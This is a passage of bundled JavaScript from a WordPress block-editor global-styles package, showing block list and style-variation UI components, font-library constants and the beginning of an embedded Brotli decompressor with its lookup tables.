10069 textAlign: "center"
10070 },
10071 children: label
10072 }
10073 )
10074 }
10075 )
10076 },
10077 key
10078 )
10079 ]
10080 }
10081 );
10082 }
10083 var preview_styles_default = PreviewStyles;
10084
10085 // packages/global-styles-ui/build-module/screen-root.mjs
10086 var import_jsx_runtime89 = __toESM(require_jsx_runtime(), 1);
10087
10088 // packages/global-styles-ui/build-module/screen-block-list.mjs
10089 var import_blocks5 = __toESM(require_blocks(), 1);
10090 var import_i18n17 = __toESM(require_i18n(), 1);
10091 var import_components21 = __toESM(require_components(), 1);
10092 var import_data21 = __toESM(require_data(), 1);
10093 var import_element23 = __toESM(require_element(), 1);
10094 var import_block_editor5 = __toESM(require_block_editor(), 1);
10095 var import_compose4 = __toESM(require_compose(), 1);
10096 var import_a11y2 = __toESM(require_a11y(), 1);
10097
10098 // packages/global-styles-ui/build-module/variations/variations-panel.mjs
10099 var import_blocks4 = __toESM(require_blocks(), 1);
10100 var import_data20 = __toESM(require_data(), 1);
10101 var import_components19 = __toESM(require_components(), 1);
10102 var import_jsx_runtime90 = __toESM(require_jsx_runtime(), 1);
10103 function getFilteredBlockStyles(blockStyles, variations) {
10104 return blockStyles?.filter(
10105 (style) => style.source === "block" || variations.includes(style.name)
10106 ) || [];
10107 }
10108 function useBlockVariations(name2) {
10109 const blockStyles = (0, import_data20.useSelect)(
10110 (select3) => {
10111 const { getBlockStyles } = select3(import_blocks4.store);
10112 return getBlockStyles(name2);
10113 },
10114 [name2]
10115 );
10116 const [variations] = useStyle2("variations", name2);
10117 const variationNames = Object.keys(variations ?? {});
10118 return getFilteredBlockStyles(blockStyles, variationNames);
10119 }
10120
10121 // packages/global-styles-ui/build-module/screen-header.mjs
10122 var import_components20 = __toESM(require_components(), 1);
10123 var import_i18n16 = __toESM(require_i18n(), 1);
10124 var import_jsx_runtime91 = __toESM(require_jsx_runtime(), 1);
10125
10126 // packages/global-styles-ui/build-module/screen-block-list.mjs
10127 var import_jsx_runtime92 = __toESM(require_jsx_runtime(), 1);
10128 var {
10129 useHasDimensionsPanel: useHasDimensionsPanel2,
10130 useHasTypographyPanel: useHasTypographyPanel2,
10131 useHasBorderPanel,
10132 useSettingsForBlockElement: useSettingsForBlockElement2,
10133 useHasColorPanel: useHasColorPanel2
10134 } = unlock2(import_block_editor5.privateApis);
10135 function useSortedBlockTypes() {
10136 const blockItems = (0, import_data21.useSelect)(
10137 (select3) => select3(import_blocks5.store).getBlockTypes(),
10138 []
10139 );
10140 const groupByType = (blocks, block) => {
10141 const { core, noncore } = blocks;
10142 const type = block.name.startsWith("core/") ? core : noncore;
10143 type.push(block);
10144 return blocks;
10145 };
10146 const { core: coreItems, noncore: nonCoreItems } = blockItems.reduce(
10147 groupByType,
10148 { core: [], noncore: [] }
10149 );
10150 return [...coreItems, ...nonCoreItems];
10151 }
10152 function useBlockHasGlobalStyles(blockName) {
10153 const [rawSettings] = useSetting("", blockName);
10154 const settings2 = useSettingsForBlockElement2(rawSettings, blockName);
10155 const hasTypographyPanel = useHasTypographyPanel2(settings2);
10156 const hasColorPanel = useHasColorPanel2(settings2);
10157 const hasBorderPanel = useHasBorderPanel(settings2);
10158 const hasDimensionsPanel = useHasDimensionsPanel2(settings2);
10159 const hasLayoutPanel = hasBorderPanel || hasDimensionsPanel;
10160 const hasVariationsPanel = !!useBlockVariations(blockName)?.length;
10161 const hasGlobalStyles = hasTypographyPanel || hasColorPanel || hasLayoutPanel || hasVariationsPanel;
10162 return hasGlobalStyles;
10163 }
10164 function BlockMenuItem({ block }) {
10165 const hasBlockMenuItem = useBlockHasGlobalStyles(block.name);
10166 if (!hasBlockMenuItem) {
10167 return null;
10168 }
10169 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(
10170 NavigationButtonAsItem,
10171 {
10172 path: "/blocks/" + encodeURIComponent(block.name),
10173 children: /* @__PURE__ */ (0, import_jsx_runtime92.jsxs)(import_components21.__experimentalHStack, { justify: "flex-start", children: [
10174 /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_block_editor5.BlockIcon, { icon: block.icon }),
10175 /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_components21.FlexItem, { children: block.title })
10176 ] })
10177 }
10178 );
10179 }
10180 function BlockList({ filterValue }) {
10181 const sortedBlockTypes = useSortedBlockTypes();
10182 const debouncedSpeak = (0, import_compose4.useDebounce)(import_a11y2.speak, 500);
10183 const { isMatchingSearchTerm } = (0, import_data21.useSelect)(import_blocks5.store);
10184 const filteredBlockTypes = !filterValue ? sortedBlockTypes : sortedBlockTypes.filter(
10185 (blockType) => isMatchingSearchTerm(blockType, filterValue)
10186 );
10187 const blockTypesListRef = (0, import_element23.useRef)(null);
10188 (0, import_element23.useEffect)(() => {
10189 if (!filterValue) {
10190 return;
10191 }
10192 const count = blockTypesListRef.current?.childElementCount || 0;
10193 const resultsFoundMessage = (0, import_i18n17.sprintf)(
10194 /* translators: %d: number of results. */
10195 (0, import_i18n17._n)("%d result found.", "%d results found.", count),
10196 count
10197 );
10198 debouncedSpeak(resultsFoundMessage, "polite");
10199 }, [filterValue, debouncedSpeak]);
10200 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(
10201 "div",
10202 {
10203 ref: blockTypesListRef,
10204 className: "global-styles-ui-block-types-item-list",
10205 role: "list",
10206 children: filteredBlockTypes.length === 0 ? /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_components21.__experimentalText, { align: "center", as: "p", children: (0, import_i18n17.__)("No blocks found.") }) : filteredBlockTypes.map((block) => /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(
10207 BlockMenuItem,
10208 {
10209 block
10210 },
10211 "menu-itemblock-" + block.name
10212 ))
10213 }
10214 );
10215 }
10216 var MemoizedBlockList = (0, import_element23.memo)(BlockList);
10217
10218 // packages/global-styles-ui/build-module/screen-block.mjs
10219 var import_blocks7 = __toESM(require_blocks(), 1);
10220 var import_block_editor7 = __toESM(require_block_editor(), 1);
10221 var import_element25 = __toESM(require_element(), 1);
10222 var import_data22 = __toESM(require_data(), 1);
10223 var import_core_data16 = __toESM(require_core_data(), 1);
10224 var import_components24 = __toESM(require_components(), 1);
10225 var import_i18n18 = __toESM(require_i18n(), 1);
10226
10227 // packages/global-styles-ui/build-module/block-preview-panel.mjs
10228 var import_block_editor6 = __toESM(require_block_editor(), 1);
10229 var import_blocks6 = __toESM(require_blocks(), 1);
10230 var import_components22 = __toESM(require_components(), 1);
10231 var import_element24 = __toESM(require_element(), 1);
10232 var import_jsx_runtime93 = __toESM(require_jsx_runtime(), 1);
10233
10234 // packages/global-styles-ui/build-module/subtitle.mjs
10235 var import_components23 = __toESM(require_components(), 1);
10236 var import_jsx_runtime94 = __toESM(require_jsx_runtime(), 1);
10237 function Subtitle({ children, level = 2 }) {
10238 return /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_components23.__experimentalHeading, { className: "global-styles-ui-subtitle", level, children });
10239 }
10240
10241 // packages/global-styles-ui/build-module/screen-block.mjs
10242 var import_jsx_runtime95 = __toESM(require_jsx_runtime(), 1);
10243 var {
10244 useHasDimensionsPanel: useHasDimensionsPanel3,
10245 useHasTypographyPanel: useHasTypographyPanel3,
10246 useHasBorderPanel: useHasBorderPanel2,
10247 useSettingsForBlockElement: useSettingsForBlockElement3,
10248 useHasColorPanel: useHasColorPanel3,
10249 useHasFiltersPanel,
10250 useHasImageSettingsPanel,
10251 useHasBackgroundPanel: useHasBackgroundPanel2,
10252 BackgroundPanel: StylesBackgroundPanel,
10253 BorderPanel: StylesBorderPanel,
10254 ColorPanel: StylesColorPanel,
10255 TypographyPanel: StylesTypographyPanel,
10256 DimensionsPanel: StylesDimensionsPanel,
10257 FiltersPanel: StylesFiltersPanel,
10258 ImageSettingsPanel,
10259 AdvancedPanel: StylesAdvancedPanel
10260 } = unlock2(import_block_editor7.privateApis);
10261
10262 // packages/global-styles-ui/build-module/screen-typography.mjs
10263 var import_i18n32 = __toESM(require_i18n(), 1);
10264 var import_components44 = __toESM(require_components(), 1);
10265 var import_element36 = __toESM(require_element(), 1);
10266
10267 // packages/global-styles-ui/build-module/screen-body.mjs
10268 var import_components25 = __toESM(require_components(), 1);
10269 var import_jsx_runtime96 = __toESM(require_jsx_runtime(), 1);
10270
10271 // packages/global-styles-ui/build-module/typography-elements.mjs
10272 var import_i18n19 = __toESM(require_i18n(), 1);
10273 var import_components26 = __toESM(require_components(), 1);
10274 var import_jsx_runtime97 = __toESM(require_jsx_runtime(), 1);
10275
10276 // packages/global-styles-ui/build-module/variations/variations-typography.mjs
10277 var import_components29 = __toESM(require_components(), 1);
10278
10279 // packages/global-styles-ui/build-module/preview-typography.mjs
10280 var import_components27 = __toESM(require_components(), 1);
10281 var import_jsx_runtime98 = __toESM(require_jsx_runtime(), 1);
10282 var StylesPreviewTypography = ({
10283 variation,
10284 isFocused,
10285 withHoverView
10286 }) => {
10287 return /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(
10288 preview_wrapper_default,
10289 {
10290 label: variation.title,
10291 isFocused,
10292 withHoverView,
10293 children: ({ ratio, key }) => /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(
10294 import_components27.__experimentalHStack,
10295 {
10296 spacing: 10 * ratio,
10297 justify: "center",
10298 style: {
10299 height: "100%",
10300 overflow: "hidden"
10301 },
10302 children: /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(
10303 PreviewTypography,
10304 {
10305 variation,
10306 fontSize: 85 * ratio
10307 }
10308 )
10309 },
10310 key
10311 )
10312 }
10313 );
10314 };
10315 var preview_typography_default = StylesPreviewTypography;
10316
10317 // packages/global-styles-ui/build-module/variations/variation.mjs
10318 var import_components28 = __toESM(require_components(), 1);
10319 var import_element26 = __toESM(require_element(), 1);
10320 var import_keycodes3 = __toESM(require_keycodes(), 1);
10321 var import_i18n20 = __toESM(require_i18n(), 1);
10322 var import_jsx_runtime99 = __toESM(require_jsx_runtime(), 1);
10323 function Variation({
10324 variation,
10325 children,
10326 isPill = false,
10327 properties,
10328 showTooltip = false
10329 }) {
10330 const [isFocused, setIsFocused] = (0, import_element26.useState)(false);
10331 const {
10332 base,
10333 user,
10334 onChange: setUserConfig
10335 } = (0, import_element26.useContext)(GlobalStylesContext);
10336 const context = (0, import_element26.useMemo)(() => {
10337 let merged = mergeGlobalStyles(base, variation);
10338 if (properties) {
10339 merged = filterObjectByProperties(merged, properties);
10340 }
10341 return {
10342 user: variation,
10343 base,
10344 merged,
10345 onChange: () => {
10346 }
10347 };
10348 }, [variation, base, properties]);
10349 const selectVariation = () => setUserConfig(variation);
10350 const selectOnEnter = (event) => {
10351 if (event.keyCode === import_keycodes3.ENTER) {
10352 event.preventDefault();
10353 selectVariation();
10354 }
10355 };
10356 const isActive = (0, import_element26.useMemo)(
10357 () => areGlobalStylesEqual(user, variation),
10358 [user, variation]
10359 );
10360 let label = variation?.title;
10361 if (variation?.description) {
10362 label = (0, import_i18n20.sprintf)(
10363 /* translators: 1: variation title. 2: variation description. */
10364 (0, import_i18n20._x)("%1$s (%2$s)", "variation label"),
10365 variation?.title,
10366 variation?.description
10367 );
10368 }
10369 const content = /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(
10370 "div",
10371 {
10372 className: clsx_default("global-styles-ui-variations_item", {
10373 "is-active": isActive
10374 }),
10375 role: "button",
10376 onClick: selectVariation,
10377 onKeyDown: selectOnEnter,
10378 tabIndex: 0,
10379 "aria-label": label,
10380 "aria-current": isActive,
10381 onFocus: () => setIsFocused(true),
10382 onBlur: () => setIsFocused(false),
10383 children: /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(
10384 "div",
10385 {
10386 className: clsx_default("global-styles-ui-variations_item-preview", {
10387 "is-pill": isPill
10388 }),
10389 children: children(isFocused)
10390 }
10391 )
10392 }
10393 );
10394 return /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(GlobalStylesContext.Provider, { value: context, children: showTooltip ? /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(import_components28.Tooltip, { text: variation?.title, children: content }) : content });
10395 }
10396
10397 // packages/global-styles-ui/build-module/variations/variations-typography.mjs
10398 var import_jsx_runtime100 = __toESM(require_jsx_runtime(), 1);
10399 var propertiesToFilter = ["typography"];
10400 function TypographyVariations({
10401 title,
10402 gap = 2
10403 }) {
10404 const typographyVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);
10405 if (typographyVariations?.length <= 1) {
10406 return null;
10407 }
10408 return /* @__PURE__ */ (0, import_jsx_runtime100.jsxs)(import_components29.__experimentalVStack, { spacing: 3, children: [
10409 title && /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(Subtitle, { level: 3, children: title }),
10410 /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(
10411 import_components29.__experimentalGrid,
10412 {
10413 columns: 3,
10414 gap,
10415 className: "global-styles-ui-style-variations-container",
10416 children: typographyVariations.map(
10417 (variation, index) => {
10418 return /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(
10419 Variation,
10420 {
10421 variation,
10422 properties: propertiesToFilter,
10423 showTooltip: true,
10424 children: () => /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(
10425 preview_typography_default,
10426 {
10427 variation
10428 }
10429 )
10430 },
10431 index
10432 );
10433 }
10434 )
10435 }
10436 )
10437 ] });
10438 }
10439
10440 // packages/global-styles-ui/build-module/font-families.mjs
10441 var import_i18n30 = __toESM(require_i18n(), 1);
10442 var import_components42 = __toESM(require_components(), 1);
10443 var import_element35 = __toESM(require_element(), 1);
10444
10445 // packages/global-styles-ui/build-module/font-library/context.mjs
10446 var import_element27 = __toESM(require_element(), 1);
10447 var import_data23 = __toESM(require_data(), 1);
10448 var import_core_data18 = __toESM(require_core_data(), 1);
10449 var import_i18n22 = __toESM(require_i18n(), 1);
10450
10451 // packages/global-styles-ui/build-module/font-library/api.mjs
10452 var import_api_fetch2 = __toESM(require_api_fetch(), 1);
10453 var import_core_data17 = __toESM(require_core_data(), 1);
10454
10455 // packages/global-styles-ui/build-module/font-library/utils/index.mjs
10456 var import_components30 = __toESM(require_components(), 1);
10457
10458 // packages/global-styles-ui/build-module/font-library/utils/constants.mjs
10459 var import_i18n21 = __toESM(require_i18n(), 1);
10460 var FONT_WEIGHTS = {
10461 100: (0, import_i18n21._x)("Thin", "font weight"),
10462 200: (0, import_i18n21._x)("Extra-light", "font weight"),
10463 300: (0, import_i18n21._x)("Light", "font weight"),
10464 400: (0, import_i18n21._x)("Normal", "font weight"),
10465 500: (0, import_i18n21._x)("Medium", "font weight"),
10466 600: (0, import_i18n21._x)("Semi-bold", "font weight"),
10467 700: (0, import_i18n21._x)("Bold", "font weight"),
10468 800: (0, import_i18n21._x)("Extra-bold", "font weight"),
10469 900: (0, import_i18n21._x)("Black", "font weight")
10470 };
10471 var FONT_STYLES = {
10472 normal: (0, import_i18n21._x)("Normal", "font style"),
10473 italic: (0, import_i18n21._x)("Italic", "font style")
10474 };
10475
10476 // packages/global-styles-ui/build-module/font-library/utils/index.mjs
10477 var { File } = window;
10478 var { kebabCase: kebabCase2 } = unlock2(import_components30.privateApis);
10479
10480 // packages/global-styles-ui/build-module/font-library/context.mjs
10481 var import_jsx_runtime101 = __toESM(require_jsx_runtime(), 1);
10482 var FontLibraryContext = (0, import_element27.createContext)(
10483 {}
10484 );
10485 FontLibraryContext.displayName = "FontLibraryContext";
10486
10487 // packages/global-styles-ui/build-module/font-library/modal.mjs
10488 var import_i18n28 = __toESM(require_i18n(), 1);
10489 var import_components40 = __toESM(require_components(), 1);
10490 var import_core_data21 = __toESM(require_core_data(), 1);
10491 var import_data25 = __toESM(require_data(), 1);
10492
10493 // packages/global-styles-ui/build-module/font-library/installed-fonts.mjs
10494 var import_components34 = __toESM(require_components(), 1);
10495 var import_core_data19 = __toESM(require_core_data(), 1);
10496 var import_data24 = __toESM(require_data(), 1);
10497 var import_element30 = __toESM(require_element(), 1);
10498 var import_i18n24 = __toESM(require_i18n(), 1);
10499
10500 // packages/global-styles-ui/build-module/font-library/font-card.mjs
10501 var import_i18n23 = __toESM(require_i18n(), 1);
10502 var import_components32 = __toESM(require_components(), 1);
10503
10504 // packages/global-styles-ui/build-module/font-library/font-demo.mjs
10505 var import_components31 = __toESM(require_components(), 1);
10506 var import_element28 = __toESM(require_element(), 1);
10507 var import_jsx_runtime102 = __toESM(require_jsx_runtime(), 1);
10508
10509 // packages/global-styles-ui/build-module/font-library/font-card.mjs
10510 var import_jsx_runtime103 = __toESM(require_jsx_runtime(), 1);
10511
10512 // packages/global-styles-ui/build-module/font-library/library-font-variant.mjs
10513 var import_element29 = __toESM(require_element(), 1);
10514 var import_components33 = __toESM(require_components(), 1);
10515 var import_jsx_runtime104 = __toESM(require_jsx_runtime(), 1);
10516
10517 // packages/global-styles-ui/build-module/font-library/installed-fonts.mjs
10518 var import_jsx_runtime105 = __toESM(require_jsx_runtime(), 1);
10519
10520 // packages/global-styles-ui/build-module/font-library/font-collection.mjs
10521 var import_element32 = __toESM(require_element(), 1);
10522 var import_components37 = __toESM(require_components(), 1);
10523 var import_compose5 = __toESM(require_compose(), 1);
10524 var import_i18n26 = __toESM(require_i18n(), 1);
10525 var import_core_data20 = __toESM(require_core_data(), 1);
10526
10527 // packages/global-styles-ui/build-module/font-library/google-fonts-confirm-dialog.mjs
10528 var import_i18n25 = __toESM(require_i18n(), 1);
10529 var import_components35 = __toESM(require_components(), 1);
10530 var import_jsx_runtime106 = __toESM(require_jsx_runtime(), 1);
10531
10532 // packages/global-styles-ui/build-module/font-library/collection-font-variant.mjs
10533 var import_element31 = __toESM(require_element(), 1);
10534 var import_components36 = __toESM(require_components(), 1);
10535 var import_jsx_runtime107 = __toESM(require_jsx_runtime(), 1);
10536
10537 // packages/global-styles-ui/build-module/font-library/font-collection.mjs
10538 var import_jsx_runtime108 = __toESM(require_jsx_runtime(), 1);
10539 var DEFAULT_CATEGORY = {
10540 slug: "all",
10541 name: (0, import_i18n26._x)("All", "font categories")
10542 };
10543
10544 // packages/global-styles-ui/build-module/font-library/upload-fonts.mjs
10545 var import_i18n27 = __toESM(require_i18n(), 1);
10546 var import_components39 = __toESM(require_components(), 1);
10547 var import_element33 = __toESM(require_element(), 1);
10548
10549 // packages/global-styles-ui/build-module/font-library/lib/unbrotli.mjs
10550 var __require2 = /* @__PURE__ */ ((x2) => typeof __require !== "undefined" ? __require : typeof Proxy !== "undefined" ? new Proxy(x2, {
10551 get: (a2, b2) => (typeof __require !== "undefined" ? __require : a2)[b2]
10552 }) : x2)(function(x2) {
10553 if (typeof __require !== "undefined") return __require.apply(this, arguments);
10554 throw Error('Dynamic require of "' + x2 + '" is not supported');
10555 });
10556 var unbrotli_default = (function() {
10557 var define, module, exports;
10558 return (/* @__PURE__ */ (function() {
10559 function r3(e2, n2, t3) {
10560 function o3(i22, f2) {
10561 if (!n2[i22]) {
10562 if (!e2[i22]) {
10563 var c6 = "function" == typeof __require2 && __require2;
10564 if (!f2 && c6) return c6(i22, true);
10565 if (u2) return u2(i22, true);
10566 var a2 = new Error("Cannot find module '" + i22 + "'");
10567 throw a2.code = "MODULE_NOT_FOUND", a2;
10568 }
10569 var p3 = n2[i22] = { exports: {} };
10570 e2[i22][0].call(
10571 p3.exports,
10572 function(r22) {
10573 var n22 = e2[i22][1][r22];
10574 return o3(n22 || r22);
10575 },
10576 p3,
10577 p3.exports,
10578 r3,
10579 e2,
10580 n2,
10581 t3
10582 );
10583 }
10584 return n2[i22].exports;
10585 }
10586 for (var u2 = "function" == typeof __require2 && __require2, i2 = 0; i2 < t3.length; i2++)
10587 o3(t3[i2]);
10588 return o3;
10589 }
10590 return r3;
10591 })())(
10592 {
10593 1: [
10594 function(require2, module2, exports2) {
10595 var BROTLI_READ_SIZE = 4096;
10596 var BROTLI_IBUF_SIZE = 2 * BROTLI_READ_SIZE + 32;
10597 var BROTLI_IBUF_MASK = 2 * BROTLI_READ_SIZE - 1;
10598 var kBitMask = new Uint32Array([
10599 0,
10600 1,
10601 3,
10602 7,
10603 15,
10604 31,
10605 63,
10606 127,
10607 255,
10608 511,
10609 1023,
10610 2047,
10611 4095,
10612 8191,
10613 16383,
10614 32767,
10615 65535,
10616 131071,
10617 262143,
10618 524287,
10619 1048575,
10620 2097151,
10621 4194303,
10622 8388607,
10623 16777215
10624 ]);
10625 function BrotliBitReader(input) {
10626 this.buf_ = new Uint8Array(BROTLI_IBUF_SIZE);
10627 this.input_ = input;
10628 this.reset();
10629 }
10630 BrotliBitReader.READ_SIZE = BROTLI_READ_SIZE;
10631 BrotliBitReader.IBUF_MASK = BROTLI_IBUF_MASK;
10632 BrotliBitReader.prototype.reset = function() {
10633 this.buf_ptr_ = 0;
10634 this.val_ = 0;
10635 this.pos_ = 0;
10636 this.bit_pos_ = 0;
10637 this.bit_end_pos_ = 0;
10638 this.eos_ = 0;
10639 this.readMoreInput();
10640 for (var i2 = 0; i2 < 4; i2++) {
10641 this.val_ |= this.buf_[this.pos_] << 8 * i2;
10642 ++this.pos_;
10643 }
10644 return this.bit_end_pos_ > 0;
10645 };
10646 BrotliBitReader.prototype.readMoreInput = function() {
10647 if (this.bit_end_pos_ > 256) {
10648 return;
10649 } else if (this.eos_) {
10650 if (this.bit_pos_ > this.bit_end_pos_)
10651 throw new Error(
10652 "Unexpected end of input " + this.bit_pos_ + " " + this.bit_end_pos_
10653 );
10654 } else {
10655 var dst = this.buf_ptr_;
10656 var bytes_read = this.input_.read(
10657 this.buf_,
10658 dst,
10659 BROTLI_READ_SIZE
10660 );
10661 if (bytes_read < 0) {
10662 throw new Error("Unexpected end of input");
10663 }
10664 if (bytes_read < BROTLI_READ_SIZE) {
10665 this.eos_ = 1;
10666 for (var p3 = 0; p3 < 32; p3++)
10667 this.buf_[dst + bytes_read + p3] = 0;
10668 }
10669 if (dst === 0) {
10670 for (var p3 = 0; p3 < 32; p3++)
10671 this.buf_[(BROTLI_READ_SIZE << 1) + p3] = this.buf_[p3];
10672 this.buf_ptr_ = BROTLI_READ_SIZE;
10673 } else {
10674 this.buf_ptr_ = 0;
10675 }
10676 this.bit_end_pos_ += bytes_read << 3;
10677 }
10678 };
10679 BrotliBitReader.prototype.fillBitWindow = function() {
10680 while (this.bit_pos_ >= 8) {
10681 this.val_ >>>= 8;
10682 this.val_ |= this.buf_[this.pos_ & BROTLI_IBUF_MASK] << 24;
10683 ++this.pos_;
10684 this.bit_pos_ = this.bit_pos_ - 8 >>> 0;
10685 this.bit_end_pos_ = this.bit_end_pos_ - 8 >>> 0;
10686 }
10687 };
10688 BrotliBitReader.prototype.readBits = function(n_bits) {
10689 if (32 - this.bit_pos_ < n_bits) {
10690 this.fillBitWindow();
10691 }
10692 var val = this.val_ >>> this.bit_pos_ & kBitMask[n_bits];
10693 this.bit_pos_ += n_bits;
10694 return val;
10695 };
10696 module2.exports = BrotliBitReader;
10697 },
10698 {}
10699 ],
10700 2: [
10701 function(require2, module2, exports2) {
10702 var CONTEXT_LSB6 = 0;
10703 var CONTEXT_MSB6 = 1;
10704 var CONTEXT_UTF8 = 2;
10705 var CONTEXT_SIGNED = 3;
10706 exports2.lookup = new Uint8Array([
10707 /* CONTEXT_UTF8, last byte. */
10708 /* ASCII range. */
10709 0,
10710 0,
10711 0,
10712 0,
10713 0,
10714 0,
10715 0,
10716 0,
10717 0,
10718 4,
10719 4,
10720 0,
10721 0,
10722 4,
10723 0,
10724 0,
10725 0,
10726 0,
10727 0,
10728 0,
10729 0,
10730 0,
10731 0,
10732 0,
10733 0,
10734 0,
10735 0,
10736 0,
10737 0,
10738 0,
10739 0,
10740 0,
10741 8,
10742 12,
10743 16,
10744 12,
10745 12,
10746 20,
10747 12,
10748 16,
10749 24,
10750 28,
10751 12,
10752 12,
10753 32,
10754 12,
10755 36,
10756 12,
10757 44,
10758 44,
10759 44,
10760 44,
10761 44,
10762 44,
10763 44,
10764 44,
10765 44,
10766 44,
10767 32,
10768 32,
10769 24,
10770 40,
10771 28,
10772 12,
10773 12,
10774 48,
10775 52,
10776 52,
10777 52,
10778 48,
10779 52,
10780 52,
10781 52,
10782 48,
10783 52,
10784 52,
10785 52,
10786 52,
10787 52,
10788 48,
10789 52,
10790 52,
10791 52,
10792 52,
10793 52,
10794 48,
10795 52,
10796 52,
10797 52,
10798 52,
10799 52,
10800 24,
10801 12,
10802 28,
10803 12,
10804 12,
10805 12,
10806 56,
10807 60,
10808 60,
10809 60,
10810 56,
10811 60,
10812 60,
10813 60,
10814 56,
10815 60,
10816 60,
10817 60,
10818 60,
10819 60,
10820 56,
10821 60,
10822 60,
10823 60,
10824 60,
10825 60,
10826 56,
10827 60,
10828 60,
10829 60,
10830 60,
10831 60,
10832 24,
10833 12,
10834 28,
10835 12,
10836 0,
10837 /* UTF8 continuation byte range. */
10838 0,
10839 1,
10840 0,
10841 1,
10842 0,
10843 1,
10844 0,
10845 1,
10846 0,
10847 1,
10848 0,
10849 1,
10850 0,
10851 1,
10852 0,
10853 1,
10854 0,
10855 1,
10856 0,
10857 1,
10858 0,
10859 1,
10860 0,
10861 1,
10862 0,
10863 1,
10864 0,
10865 1,
10866 0,
10867 1,
10868 0,
10869 1,
10870 0,
10871 1,
10872 0,
10873 1,
10874 0,
10875 1,
10876 0,
10877 1,
10878 0,
10879 1,
10880 0,
10881 1,
10882 0,
10883 1,
10884 0,
10885 1,
10886 0,
10887 1,
10888 0,
10889 1,
10890 0,
10891 1,
10892 0,
10893 1,
10894 0,
10895 1,
10896 0,
10897 1,
10898 0,
10899 1,
10900 0,
10901 1,
10902 2,
10903 3,
10904 2,
10905 3,
10906 2,
10907 3,
10908 2,
10909 3,
10910 2,
10911 3,
10912 2,
10913 3,
10914 2,
10915 3,
10916 2,
10917 3,
10918 2,
10919 3,
10920 2,
10921 3,
10922 2,
10923 3,
10924 2,
10925 3,
10926 2,
10927 3,
10928 2,
10929 3,
10930 2,
10931 3,
10932 2,
10933 3,
10934 2,
10935 3,
10936 2,
10937 3,
10938 2,
10939 3,
10940 2,
10941 3,
10942 2,
10943 3,
10944 2,
10945 3,
10946 2,
10947 3,
10948 2,
10949 3,
10950 2,
10951 3,
10952 2,
10953 3,
10954 2,
10955 3,
10956 2,
10957 3,
10958 2,
10959 3,
10960 2,
10961 3,
10962 2,
10963 3,
10964 2,
10965 3,
10966 /* ASCII range. */
10967 0,
10968 0,
10969 0,
10970 0,
10971 0,
10972 0,
10973 0,
10974 0,
10975 0,
10976 0,
10977 0,
10978 0,
10979 0,
10980 0,
10981 0,
10982 0,
10983 0,
10984 0,
10985 0,
10986 0,
10987 0,
10988 0,
10989 0,
10990 0,
10991 0,
10992 0,
10993 0,
10994 0,
10995 0,
10996 0,
10997 0,
10998 0,
10999 0,
11000 1,
11001 1,
11002 1,
11003 1,
11004 1,
11005 1,
11006 1,
11007 1,
11008 1,
11009 1,
11010 1,
11011 1,
11012 1,
11013 1,
11014 1,
11015 2,
11016 2,
11017 2,
11018 2,
11019 2,
11020 2,
11021 2,
11022 2,
11023 2,
11024 2,
11025 1,
11026 1,
11027 1,
11028 1,
11029 1,
11030 1,
11031 1,
11032 2,
11033 2,
11034 2,
11035 2,
11036 2,
11037 2,
11038 2,
11039 2,
11040 2,
11041 2,
11042 2,
11043 2,
11044 2,
11045 2,
11046 2,
11047 2,
11048 2,
11049 2,
11050 2,
11051 2,
11052 2,
11053 2,
11054 2,
11055 2,
11056 2,
11057 2,
11058 1,
11059 1,
11060 1,
11061 1,
11062 1,
11063 1,
11064 3,
11065 3,
11066 3,
11067 3,
11068 3,
11069 3,
11070 3,
11071 3,
11072 3,
11073 3,
11074 3,
11075 3,
11076 3,
11077 3,
11078 3,
11079 3,
11080 3,
11081 3,
11082 3,
11083 3,
11084 3,
11085 3,
11086 3,
11087 3,
11088 3,
11089 3,
11090 1,
11091 1,
11092 1,
11093 1,
11094 0,
11095 /* UTF8 continuation byte range. */
11096 0,
11097 0,
11098 0,
11099 0,
11100 0,
11101 0,
11102 0,
11103 0,
11104 0,
11105 0,
11106 0,
11107 0,
11108 0,
11109 0,
11110 0,
11111 0,
11112 0,
11113 0,
11114 0,
11115 0,
11116 0,
11117 0,
11118 0,
11119 0,
11120 0,
11121 0,
11122 0,
11123 0,
11124 0,
11125 0,
11126 0,
11127 0,
11128 0,
11129 0,
11130 0,
11131 0,
11132 0,
11133 0,
11134 0,
11135 0,
11136 0,
11137 0,
11138 0,
11139 0,
11140 0,
11141 0,
11142 0,
11143 0,
11144 0,
11145 0,
11146 0,
11147 0,
11148 0,
11149 0,
11150 0,
11151 0,
11152 0,
11153 0,
11154 0,
11155 0,
11156 0,
11157 0,
11158 0,
11159 0,
11160 0,
11161 0,
11162 0,
11163 0,
11164 0,
11165 0,
11166 0,
11167 0,
11168 0,
11169 0,
11170 0,
11171 0,
11172 0,
11173 0,
11174 0,
11175 0,
11176 0,
11177 0,
11178 0,
11179 0,
11180 0,
11181 0,
11182 0,
11183 0,
11184 0,
11185 0,
11186 0,
11187 0,
11188 0,
11189 0,
11190 0,
11191 0,
11192 2,
11193 2,
11194 2,
11195 2,
11196 2,
11197 2,
11198 2,
11199 2,
11200 2,
11201 2,
11202 2,
11203 2,
11204 2,
11205 2,
11206 2,
11207 2,
11208 2,
11209 2,
11210 2,
11211 2,
11212 2,
11213 2,
11214 2,
11215 2,
11216 2,
11217 2,
11218 2,
11219 2,
11220 2,
11221 2,
11222 2,
11223 2,
11224 0,
11225 1,
11226 1,
11227 1,
11228 1,
11229 1,
11230 1,
11231 1,
11232 1,
11233 1,
11234 1,
11235 1,
11236 1,
11237 1,
11238 1,
11239 1,
11240 2,
11241 2,
11242 2,
11243 2,
11244 2,
11245 2,
11246 2,
